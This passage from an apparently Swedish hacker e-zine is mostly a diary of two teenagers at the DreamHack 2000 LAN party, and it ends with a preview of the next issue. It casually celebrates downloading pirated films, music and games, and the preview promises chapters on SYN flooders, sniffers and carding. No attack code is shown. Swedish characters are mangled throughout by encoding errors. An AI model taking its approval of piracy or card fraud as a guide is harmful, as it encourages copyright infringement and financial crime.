os<EFBFBD>kert om det inte g<>rs ordentligt. Qmail <20>r f<>rmodligen den enklaste och snabbaste
|
|||
|
SMTP-servern. Sendmail <20>r k<>nt f<>r sina m<>nga buggar och bakd<6B>rrar.
|
|||
|
|
|||
|
|
|||
|
Kapitel 7: Dreamhack 2000
|
|||
|
|
|||
|
Den 30:e November <20>r 2000, anl<6E>nde icecoder och RobbTheJobb till DreamHack,
|
|||
|
Nordens st<73>rsta demoparty.
|
|||
|
|
|||
|
DreamHack <20>r ett s<> kallat Demo Party som <20>ger rum i Borl<72>nge varje <20>r.
|
|||
|
Det startades <20>r 1997 och har h<>llit p<> sen dess.
|
|||
|
Vad <20>r d<> detta??
|
|||
|
Svar; 4000 personer, cirka 500 (fler`?) med datorer, uppkopplade i n<>tverk.
|
|||
|
Ungdomar fr<66>n hela v<>rlden samlas i Kupolens arena och t<>vlar i spel, design, musik och
|
|||
|
programmering. Hela Jolt fabriken k<>ptes slut. <20>verallt fanns d<>r backar.
|
|||
|
Dundrande musik <20>verallt. Folk som f<>rs<72>ker <20>verr<72>sta varrandras musikanl<6E>ggningar,
|
|||
|
alla kopplade till varsina PCs.
|
|||
|
|
|||
|
DAG 1: onsdag
|
|||
|
|
|||
|
Vi tog ledigt redan p<> Onsdagen i och med att vi d<> hade friluftsdag i skolan, vi beh<65>vde ju
|
|||
|
tid att packa! ;-). Checklistan inneh<65>ll bland annat:
|
|||
|
|
|||
|
? <20>ronproppar
|
|||
|
? Papper & Penna
|
|||
|
? Dator (ehe..)
|
|||
|
? CD/CD-R(W) skivor
|
|||
|
? H<>gtalare
|
|||
|
? Julgransbelysning
|
|||
|
? Toapapper
|
|||
|
? Handduk
|
|||
|
? Tandborste/Tandkr<6B>m
|
|||
|
? H<>rvax
|
|||
|
? Pengar
|
|||
|
? Mobiltelefon
|
|||
|
? Kamera
|
|||
|
? Batterier
|
|||
|
? H<>rlurar
|
|||
|
? Sovs<76>ck
|
|||
|
? Liggunderlag
|
|||
|
? En massa sladdar
|
|||
|
|
|||
|
Med mer.. V<>skorna blev <20>verfyllda. (Tv<54> st. + en stor madrass).
|
|||
|
Vi kunde inte h<>lla oss utan plockade upp datorerna och skapade ett litet LAN.
|
|||
|
Vi satt och programmerade dator-skydd hela natten. Om ej r<>tt l<>senord skrevs in startades
|
|||
|
Tre kopior av programmet, sedan b<>rjade sk<73>rmen blinka r<>tt och gult och ge ifr<66>n sig ett
|
|||
|
Pip-pip-pip ljud, p<> sk<73>rmen stod d<> ocks<6B> <20>DONT U FUCKING TOUCH ME!<21>.
|
|||
|
Detta om detta, det fungerade bra iaf.
|
|||
|
Sedan sov vi.. (Inte s<> intressant dag kanske? Spara checklistan f<>r framtida behov ;-) ).
|
|||
|
|
|||
|
|
|||
|
DAG 2: torsdag
|
|||
|
|
|||
|
Vi gav oss iv<69>g i farsans bil klockan 07:30.
|
|||
|
Stressigt som fan. Kontrollera att allt <20>r med.. Bla bla bla, und so weiter..
|
|||
|
RobbTheJobb sov mest hela resan dit, (1.5 timma ungeff<66>r), jag f<>rs<72>kte vila mig lite,
|
|||
|
natten innan kunde jag inte sova och l<>g d<>rmed vaken fram till klockan 5 p<> morgonen.
|
|||
|
|
|||
|
N<EFBFBD>r vi kom fram blev vi lite tr<74>tta av att se den stillast<73>ende k<> som bildats utanf<6E>r d<>rrarna.
|
|||
|
Folk ville in och byta ut sin biljett mot det gr<67>na plastband man fick runt handleden f<>r att
|
|||
|
smidigt ta sid in och ut. (Exakt ett s<>dant band man f<>r b<>ra n<>r man har permission fr<66>n
|
|||
|
sjukhuset, men med en klatchig DreamHack design ;-) ).
|
|||
|
|
|||
|
N<EFBFBD>r vi k<>at klart kunde vi b<>rja b<>ra in v<>r utrustning.
|
|||
|
DH hade n<>gon vecka tidigare tagit bort <20>Seat-map<61> och vi visste d<>rf<72>r inte vart vi skulle
|
|||
|
sitta, (det var vi inte ensama om). Vi gick till informationen och hittade snart v<>ra platser.
|
|||
|
K<EFBFBD>nkade iv<69>g med v<>skorna, d<>r! Rad F, plats 102.. eller n<>t?, japp, d<>r l<>g v<>ra namnskyltar
|
|||
|
fint uppsl<73>ngda p<> sp<73>nskivsbordet.
|
|||
|
|
|||
|
- Men va fan nu d<>!? Man har ju bara 1.2 meters bredd att sitta p<> ju! Jag kommer inte f<>
|
|||
|
plats med datorn! Och killen mittemot hade parkerat sin sk<73>rm <20>t helvete f<>r l<>ngt in, jag
|
|||
|
Bad honom flytta den lite mer bak<61>t, men den var ju redan s<> indragen det gick.. Arg!
|
|||
|
Till slut lyckades jag snirkla mig in, med knapp marginal. Jag h<>ll mig innanf<6E>r str<74>cken,
|
|||
|
men visst tusan var tangentbordet halvt sv<73>vande i luften.
|
|||
|
|
|||
|
Till slut kom vi till r<>tta. Datorerna funkade fint.
|
|||
|
Grannen d<>remot, hur fan kan man komma dit utan operativsystem i burken?
|
|||
|
Det f<>rsta han gjorde var att k<>ra installationen f<>r Windows2000,, n<>r han var
|
|||
|
klar m<>ttes han av den n<>rmast klassiska BlueScreen of Death.
|
|||
|
Toppen! Ominstallera igen.. Tre timmar till spillo ;-).
|
|||
|
|
|||
|
Vad g<>llde ljudkvaliten var vi kungar <20>tminstone den f<>rsta dagen, tills de tv<74> mystiska
|
|||
|
Got-killarna kom och sm<73>llde upp sina hemmabyggda basl<73>dor. Usch! Mellow i <20>verfl<66>d.
|
|||
|
|
|||
|
Vi h<>jde volymen, de h<>jde volymen, vi h<>jde mer, de h<>jde mest.
|
|||
|
Dock kunde de inte <20>vertr<74>ffa min <20>ronsk<73>rande diskans. Fyra sm<73> h<>gtalare riggade
|
|||
|
ovanp<EFBFBD> burken.
|
|||
|
<EFBFBD>-Fan! V<>nta bara tills n<>sta <20>r.. jag SA ju att jag skulle tagit med mig anl<6E>ggningen!<21> >=)
|
|||
|
|
|||
|
Efter att vi gjort oss hemmastadda vid borden gick vi till en av restaurangerna vid
|
|||
|
k<EFBFBD>pcentrat p<> underv<72>ningen. Pizza! Men fan va sp<73>nd man var, stressad, sugen p<> att
|
|||
|
springa tillbaka till datorerna, efter tv<74> tuggor k<>ndes det som att man skulle spy.
|
|||
|
Weird feelings. Vi tog med oss pizzorna i en varsin kartong och <20>tergick till datorerna.
|
|||
|
Nu hade <20>ven vi inf<6E>rskaffat oss en back med Jolt.
|
|||
|
|
|||
|
Halsbr<EFBFBD>nna efter fem Jolt.
|
|||
|
Nu b<>rjade vi f<> ig<69>ng n<>tverket.
|
|||
|
- Vart fan <20>r drivrutinerna f<>r n<>tverkskortet!?
|
|||
|
- Vadd<64>? Har du inte samma som jag?
|
|||
|
- Jag trodde ocks<6B> det.
|
|||
|
- Testa; C:\Windows\System , Testa D:\WIN98 <20>
|
|||
|
- Hmm,, hittar inte..
|
|||
|
** Reboot **
|
|||
|
Disketter hit och dit, kablar hit och dit. Ett virrvarr av sladdar och julpynt.
|
|||
|
|
|||
|
Sedan kom mardr<64>mmarna, sladdar var fel kopplade, de drogs brutalt och obet<65>nksamt ut av
|
|||
|
crew medlemmarna,
|
|||
|
- <20>ALLA SKARVAR SKA SITTA I SPRAYADE GRENKONTAKTER! INTE
|
|||
|
SERIEL<EFBFBD>NKADE!<21>
|
|||
|
Fy fan, det tog minst fem timmar innan allt var i ordning. Till sist hittade <20>ven jag ett uttag f<>r
|
|||
|
min skarvsladd. Vid kv<6B>llningen sl<73>cktes lysena i taket och alla ljublade.
|
|||
|
Hurra! Lite st<73>mning! Grymmt..
|
|||
|
Folk l<>g och sov h<>r och d<>r hela dagarna, mest folk var det p<> golvet mellan 02:00 och
|
|||
|
12:00. Men <20>ven vid tider som 16:00 kunde man hitta ungdomar nedkrupna i sovs<76>ckar
|
|||
|
<EFBFBD>verallt runtomkring borden och bakom toaletterna.
|
|||
|
|
|||
|
Jag gick sj<73>lv och lade mig vid 03;00 tiden. RobbTheJobb satt kvar vid datorn och tankade
|
|||
|
hem warez mm..
|
|||
|
|
|||
|
Dag 3: torsdag
|
|||
|
|
|||
|
Toppendag! Internet hade nu kommit i bruk. Vi kunde komma ut p<> IRC! Jiiehaa!!
|
|||
|
Nu var klockan cirka 13:00 och alla hade kommit p<> plats med sina datorer, lampor,
|
|||
|
anl<EFBFBD>ggningar, fl<66>ktar mm.. D<> var DH m<>nniskorna s<> smarta att de t<>nde lamporna i
|
|||
|
taket f<>r att media skulle kunna filma. Det var ju <20>nd<6E> p<> tiden att vakna!?
|
|||
|
Ok, s<> vad h<>nde? Str<74>mmen gick! I HELA KUPOLEN ARENAN.
|
|||
|
Dessutom lamslogs McDonalds, en kl<6B>d- och en leksaksbutik.
|
|||
|
Det blev tyst i tv<74> sekunder, sedan br<62>t de 2000 bes<65>karna ut i ett ofantligt ljubel som
|
|||
|
<EFBFBD>versteg det tidigare d<> lamporna sl<73>cktes. Fy fan! Detta kommer ta tid konstaterade vi alla,
|
|||
|
folk tog p<> sig sina jackor, b<>rjade r<>ra sig ut<75>t. Kamerablixtar flashade <20>verallt.
|
|||
|
(Se foton p<> www.dh.haxerz.com)
|
|||
|
P<EFBFBD> v<>gen ned f<>r trappan r<>kade jag h<>ra en f<>rvirrad 17 <20>ring s<>ga tyst till sin kompis,
|
|||
|
<EFBFBD>Varf<EFBFBD>r <20>r alla p<> v<>g ut??<3F>. =)
|
|||
|
Gissa.. Ok, s<> vi gick till Hemk<6D>p. Sedan till k<>pcentrum. Tyv<79>rr! Fel st<73>lle, vi skulle ha g<>tt
|
|||
|
till McDonalds d<>r det nu serverades gratisburgare. ?.
|
|||
|
|
|||
|
Efter n<>gon timme gick vi tillbaka och satte oss. Str<74>men var fortfarande fr<66>nvarande.
|
|||
|
V<EFBFBD>r granne stod lutad <20>ver sk<73>rmen, liksom n<>r vi l<>mnade honom tv<74> timmar tidigare.
|
|||
|
Crewet letade sig igenom virrvarret av sladdar. Vi s<>g en elektriker i k<>pcentrumet, han
|
|||
|
stod p<> en stege och skruvade med en massa kablar uppe i taket.
|
|||
|
Fan, det <20>r tur att de kan kalla in elektriker p<> mindre <20>n 5 minuter.
|
|||
|
|
|||
|
Str<EFBFBD>men gick minst tre g<>nger till den dagen. P<> DH-monitorn framme vid scenen kunde man
|
|||
|
d<EFBFBD> och d<> l<>sa meddelanden som lovade mer str<74>m snart. Man skulle s<>tta ig<69>ng brum brum
|
|||
|
maskiner i k<>llaren. Wow! D<>s<EFBFBD>!.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Jag l<>t datorn st<73> och idle:a <20>ver natten, laddade hem warez och st<73>dje mina IRC kanaler ;-).
|
|||
|
F<EFBFBD>r f<>rsta g<>ngen s<>g jag ocks<6B> hur endast tid kan l<>na sig. Morgonen d<>rp<72> hade jag f<>tt
|
|||
|
OP i b<>de #pr0n, #crackers, #lamers och #Secure. ?.
|
|||
|
|
|||
|
Dag 4: fredag
|
|||
|
|
|||
|
Idag uppt<70>ckte jag charmen med VCR, AVI och MPEG. Vi laddade hem filmer som;
|
|||
|
|
|||
|
Shaft, Gladiator, Leon,
|
|||
|
Gone in 60 secounds, StarTrek 6, Cruil Intention, Romeo Must die, 6:e Sinnet, Scary Movie,
|
|||
|
Cayota Ugly, Ninja Scroll, Hackers, Never bin kissed, Roadtrip, Hollowman, Blairwitch
|
|||
|
Project 2, Sleepy Hollow, Tigers Film, Xmen, Tekken, Matrix, Blue Streak, Boondok Saints
|
|||
|
|
|||
|
(Blairwitch Project 2 hade t.ex. inte <20>nnu haft BIO premi<6D>r i Sverige.).
|
|||
|
Tufft! Jag trodde inte att det var s<> l<>tt att f<> tag p<> bra filmer.
|
|||
|
Tyv<EFBFBD>rr fick vi inte plats med vissa filmer p<> v<>ra CD skivor. ?.
|
|||
|
|
|||
|
Dessutom laddade vi hem m<>ngder av MP3:or och spel mm..
|
|||
|
Helt underbart med delade h<>rddiskar!
|
|||
|
|
|||
|
|
|||
|
L<EFBFBD>rdag rullade p<> som ingenting.. Vi gick till McDonalds och diverse andra st<73>llen.
|
|||
|
NM. =).
|
|||
|
|
|||
|
Prisutdelningar till de som vunnit demot<6F>vlingar.
|
|||
|
(De deltagandes bidrag visades en/tv<74> dagar innan upp p<> den stora monitorn).
|
|||
|
|
|||
|
SENT P<> L<>RDAG NATT Skulle jag plocka upp min gamla, gamla laptop ur v<>skan
|
|||
|
och kom d<> <20>t ett par sladdar som satt slingrade runt en burk med Jolt cola.
|
|||
|
Burken vickade, jolten rann ut p<> tangentbordet, musmattan, m<>gtalarv<72>ggarna, stolen,
|
|||
|
byxorna, Laptop sladdarna och golvet. Det enda som gick s<>nder var dock tangentbordet.
|
|||
|
Jag har aldrig hatat Jolt s<> mycket som just d<>. Tur som fan var att det inte rann ut p<>
|
|||
|
grannens grejjer. Inte en droppe!, jag fick springa och h<>mta papper, byta byxor, torka av
|
|||
|
stolen, sladdarna, h<>gtalarna, v<>skan, bordet, krama ur musmattan, vicka p<> tangentbordet
|
|||
|
och h<>lla ut colan. Torka upp den, springa och sl<73>nga burken och papprena, tv<74>tta h<>nderna,
|
|||
|
g<EFBFBD> tillbaka och konstatera att jag lika g<>rna kunde g<> och l<>gga mig.
|
|||
|
T<EFBFBD>ltet d<>r de s<>lde h<>rdvara hade slut p<> tangentbord. Databutiken var st<73>ngd.
|
|||
|
Dagen d<>rp<72>, s<>ndag, gick jag och skulle k<>pa ett nytt. Men, <20>r inte butiken st<73>ngd p<>
|
|||
|
s<EFBFBD>ndag? Puh, de hade extra<72>ppet under DreamHack.
|
|||
|
|
|||
|
- <20>Detta <20>r det enda vi har kvar, det kostar, men det <20>r ju ocks<6B> det b<>sta d<>r<EFBFBD><72>,
|
|||
|
sa butiksinnehavaren. Jo visst, 300:- f<>r ett nytt KeyTronic tangentbord var v<>l ok..
|
|||
|
Men 300 minus p<> grund av en burk med Jolt. ARGGG!!
|
|||
|
|
|||
|
Snyggt var det, jag skriver p<> det nu. Men jag f<>r psykbryte! Tangenterna sitter f<>r brett
|
|||
|
is<EFBFBD>r och det l<>ter h<>gt som fan n<>r man knapprar p<> det. Pang! Pang! <20> d<>r slog jag p<>
|
|||
|
mellanslags tangenten, s<> l<>st som m<>jligt. Pang! Pang!
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Dag 5: s<>ndag
|
|||
|
|
|||
|
Jag vaknade vid 12, k<>pte nytt tangentbord, packade ihop datorn och prylarna.
|
|||
|
Robb<EFBFBD>s f<>r<EFBFBD>ldrar h<>mtade oss vid 13:00 tiden. Fy fan va tr<74>tt man blir.
|
|||
|
<EFBFBD>VEN fast jag hade lyckats sovit mellan klockan 05:00 och 12:00 varje dag.
|
|||
|
|
|||
|
Det var svettigt, man luktade helvete. Kl<4B>derna var inpyrda med koldioxid och Jolt.
|
|||
|
Min madrass hade r<>kat lega bredvid en sops<70>ck d<>r man kastade tomburkar. S<>na d<>r
|
|||
|
Joltisar med lite granna kvar i botten p<>. En sj<73> av l<>sk hade samlat sig vid min madrass som
|
|||
|
s<EFBFBD>g ut att ha blivit nedbl<62>tt av n<>gon som <20>kissar i s<>ngen<65>. Det luktade inte s<>rskiljt gott.
|
|||
|
|
|||
|
Vi <20>kte hem, jag var pissn<73>dig hela v<>gen. Det var otroligt sk<73>nt att komma hem.
|
|||
|
Jobbigt som tusan var det.. Men, var det roligt?? Jag vet faktist inte riktigt, men en sak
|
|||
|
<EFBFBD>r s<>ker.. Vi <20>ker dit n<>sta <20>r igen! D<> med lite st<73>rre och starkare och tuffare utrustning!
|
|||
|
|
|||
|
DreamHack ska f<>rmodligen d<> byta lokaler. Arenan ska byggas om till utbildningscenter.
|
|||
|
(kanske). S<> vi f<>r se vart det blir d<>. Kom dit och tr<74>ffa oss d<>! :-).
|
|||
|
|
|||
|
// DH Report 2k <20> icecoder.
|
|||
|
|
|||
|
|
|||
|
H<EFBFBD>r hade jag t<>nkt skriva lite om NT Hacking. Tacka mig f<>r att jag l<>t bli!
|
|||
|
Jag har tyv<79>rr haft f<>r lite tid <20>ver f<>r Hackers Mentor p<> senaste tiden, men till sist kom den ut
|
|||
|
till er. Det blir mer skojj i n<>sta bok. Ha det bra till dess!
|
|||
|
|
|||
|
// icecoder
|
|||
|
|
|||
|
|
|||
|
Hitta de senaste uppdateringarna och b<>ckerna p<>: www.insecurefoundation.cjb.net
|
|||
|
|
|||
|
F<EFBFBD>r fr<66>gor och svar, maila:
|
|||
|
ounder@lords.com .
|
|||
|
|
|||
|
|
|||
|
Hackers Mentor <20> 1998-2004 <20> Insecure Foundation.
|
|||
|
Hitta f<>rfattaren samt <20>teamet<65> p<> #BIOS @ Dalnet <20> IRC.
|
|||
|
|
|||
|
|
|||
|
I n<>sta nummer:
|
|||
|
|
|||
|
Kapitel 1: Introduktion och Inspiration.
|
|||
|
Kapitel 2: Fortsatt C++ programmering.
|
|||
|
Kapitel 3: Mer kommandon i Unix.
|
|||
|
Kapitel 4: X och Shell programmering i Unix.
|
|||
|
Kapitel 5: SYN Flooders och Sniffers
|
|||
|
Kapitel 6: Tankar och id<69>er.
|
|||
|
Kapitel 7: Intressanta l<>nkar
|
|||
|
Kapitel 8: Ins<6E>ndare och Greetings. (Prat fr<66>n IRC).
|
|||
|
Kapitel 9: Allt om Carding.
|
|||
|
|